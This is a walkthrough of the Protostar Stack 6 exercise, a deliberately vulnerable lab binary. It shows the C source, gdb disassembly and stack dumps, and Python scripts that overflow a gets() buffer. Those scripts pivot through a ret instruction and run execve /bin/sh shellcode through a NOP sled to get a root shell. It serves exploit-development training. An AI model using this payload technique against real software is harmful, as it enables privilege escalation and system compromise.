
PROTOSTAR: STACK 6

SOURCE CODE

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
```

SOURCE CODE EXPLANATION

- Variables used -> **char buffer[64]** , **unsigned int ret**
- The program takes **buffer** as input using **gets() function.** If we read documentation of **gets function using -> man gets** we can find out that **gets()** doesn't check the input size provided so it can lead to **STACK BUFFER OVERFLOW ATTACK.**
- **ret = __builtin_return_address(0)**. The builtin function reads the current stack and returns the address to the **ret variable.**
- **if((ret & 0xbf000000) == 0xbf000000)** if the return address is starting with **bf,** bitwise AND operation is done on the **ret variable and the program is exited.**
- Other return addresses executes the this line of code printf("got path %s\n", buffer);

DEBUGGING

```
(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:        mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    eax,ds:0x8049720
0x0804849c <getpath+24>:        mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:        mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
0x080484af <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:        and    eax,0xbf000000
0x080484bd <getpath+57>:        cmp    eax,0xbf000000
0x080484c2 <getpath+62>:        jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:        mov    eax,0x80485e4
0x080484c9 <getpath+69>:        mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:        mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:        mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:        call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:        mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:        call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:        mov    eax,0x80485f0
0x080484e9 <getpath+101>:       lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:       mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:       mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:       call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:       leave
0x080484f9 <getpath+117>:       ret
End of assembler dump.
(gdb)
```

Disassembly of getpath() function

```
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAec@@@@@@@ @

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) x/30x $esp
0xbffff79c:     0x08048505      0x08048520      0x00000000      0xbffff828
0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x080482a1      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0x84053606      0xae522016
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffff80c:     0x080483d0      0x00000000
(gdb) x/2x $ebp
0xbffff7a8:     0xbffff828      0xb7eadc76
(gdb) si
main (argc=1, argv=0xbffff854) at stack6/stack6.c:31
31      in stack6/stack6.c
(gdb)
0x08048507      31      in stack6/stack6.c
(gdb)
0x08048508 in main (argc=134513914, argv=0x1) at stack6/stack6.c:31
31      in stack6/stack6.c
(gdb) x/4x $esp
0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
(gdb) si
__libc_start_main (main=0x80484fa <main>, argc=1, ubp_av=0xbffff854, init=0x8048520 <__libc_csu_init>,
    fini=0x8048510 <__libc_csu_fini>, rtld_fini=0xb7ff1040 <_dl_fini>, stack_end=0xbffff84c)
    at libc-start.c:260
260     libc-start.c: No such file or directory.
        in libc-start.c
(gdb)
```

- **Setting up a breakpoint at 0x080484f9,** then running the program.
- Inputting **string of 64 A's**
- **x/30x $esp** to check the stack condition
- **x/2x $ebp** to check return address of instruction pointer

```
esp             0xbffff7b0      0xbffff7b0
ebp             0xbffff828      0xbffff828
```

Esp address shows the instruction pointer return address. The **stack is random** so this might change later. So the reason to find this is to get an approximate **return address** value so that we can place our **shellcode** there and lead up to it using **NOP SLIDE.**

IMPORTANT : After checking it takes string of 80 characters to overflow instruction pointer

Now the lets write a script of string of 80 A's and append our return address we found earlier and execute the code.

```
import struct
#padding = 80
#ret = 0xbffff7b0

padding = "A"*80

ret = struct.pack("I",0xbffff7b0)

print(padding + ret)
```

PYTHON SCRIPT

We can see that the program exits after printing **bzzzt(0xbffff7b0).** This is because of the **if condition which prevents us to return to stack location.** The question arises where should we return then....**HINT:** the **getpath()** function itself!!!.

```
(gdb) r < /tmp/exploit6
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit6
input path please: bzzzt (0xbffff7b0)

Program exited with code 01.
(gdb)
```

```
import struct
#padding = 80
#ret = 0x080484f9
#eip = 0xbffff7a0
padding = "A"*80

ret = struct.pack("I",0x080484f9)


print(padding + ret)
```

PYTHON SCRIPT

After running the script we can see that we hit out **breakpoint 1** again indicating that the instruction pointer returned to the **getpath()** return address once again, pointing to the function itself.

```
(gdb) r < /tmp/exploit6
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAA@@

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) x/4x $esp
0xbffff79c:     0x080484f9      0x08048500      0x00000000      0xbffff828
(gdb) si

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      in stack6/stack6.c
(gdb)
```

Now lets write our **arbitrary code** to check whether we can place **assembler code in the stack** and execute it.

```
import struct
#padding = 80
#ret = 0x080484f9
#eip = 0xbffff7a0
padding = "A"*80

ret = struct.pack("I",0x080484f9)

eip = struct.pack("I",0xbffff7a0+20)

nop = "\x90"*80

trap = "\xCC"*4

print(padding + ret + eip + nop + trap)
```

PYTHON SCRIPT

After executing our script we can see we hit the **SIGTRAP** which is kind of a **cpu procedure interupt** i.e. **breakpoint.** This indicates our script works and we can now place our shellcode there.

```
(gdb) r < /tmp/exploit6
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAA@@
@@@
```

ROOT EXPLOIT SCRIPT

```
import struct
#padding = 80
#ret = 0x080484f9
#eip = 0xbffff7a0
padding = "A"*80

ret = struct.pack("I",0x080484f9)

eip = struct.pack("I",0xbffff7a0+20)

nop = "\x90"*80

#trap = "\xCC"*4
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print(padding + ret + eip + nop + shellcode)
```

GAINING ROOT SHELL

```
user@protostar:/tmp$ (python exploit6.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAA@@@@@@@@
@@@@@@@@
```